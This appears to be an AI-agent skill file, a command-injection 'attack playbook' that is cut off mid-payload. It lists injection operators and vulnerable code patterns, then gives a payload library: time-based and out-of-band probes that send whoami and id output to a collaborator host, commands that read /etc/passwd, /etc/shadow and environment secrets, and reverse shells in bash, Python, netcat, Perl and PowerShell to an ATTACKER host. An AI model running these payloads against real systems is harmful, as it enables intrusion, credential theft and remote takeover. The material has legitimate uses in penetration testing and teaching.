/cmdi-command-injection

name: cmdi-command-injection
description: >-
  Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

SKILL: OS Command Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

• [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

| Context | Start With | Backup | |---|---|---| | generic shell separator | `;id` | `&&id` | | quoted argument | `";id;"` | `';id;'` | | blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` | | command substitution | `$(id)` | `` `id` `` | | out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

---

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

| Metacharacter | Behavior | Example | |---|---|---| | `;` | Runs second command regardless | `dir; whoami` | | `\|` | Pipes stdout to second command | `dir \| whoami` | | `\|\|` | Run second only if first FAILS | `dir \|\| whoami` | | `&` | Run second in background (or sequenced in Windows) | `dir & whoami` | | `&&` | Run second only if first SUCCEEDS | `dir && whoami` | | `$(cmd)` | Command substitution | `echo $(whoami)` | | `` `cmd` `` | Command substitution (backtick) | `` echo `whoami` `` | | `>` | Redirect stdout to file | `cmd > /tmp/out` | | `>>` | Append to file | `cmd >> /tmp/out` | | `<` | Read file as stdin | `cmd < /etc/passwd` | | `%0a` | Newline character (URL-encoded) | `cmd%0awhoami` | | `%0d%0a` | CRLF | Multi-command injection |

---

2. COMMON VULNERABLE CODE PATTERNS

PHP

$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"

Python

import os
os.system("curl " + url)            # url = "x.com; id"
subprocess.call("ls " + path, shell=True)  # shell=True is the key vulnerability
os.popen("ping " + host)

Node.js

const { exec } = require('child_process');
exec('ping ' + req.query.host, ...);  // host = "x.com; id"

Perl

$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd

ASP (Classic)

szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt

---

3. BLIND COMMAND INJECTION — DETECTION

When response shows no command output:

Time-Based Detection

# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &

# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777

Compare response time without payload vs with payload. 5+ second delay = confirmed.

OOB via DNS

# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)

# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST

OOB via HTTP

# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)

# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"

OOB via Out-of-Band File

; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt

---

4. INJECTION CONTEXT VARIATIONS

Within Quoted String

command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""

Within Single-Quoted String

command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''

Within Backtick Execution

output=`command INJECT`
# Inject: x`; id ;`

File Path Context

cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)

---

5. PAYLOAD LIBRARY

Information Gathering

; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries

Reverse Shells (Linux)

# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash

# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Reverse Shells (Windows via PowerShell)

& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebCli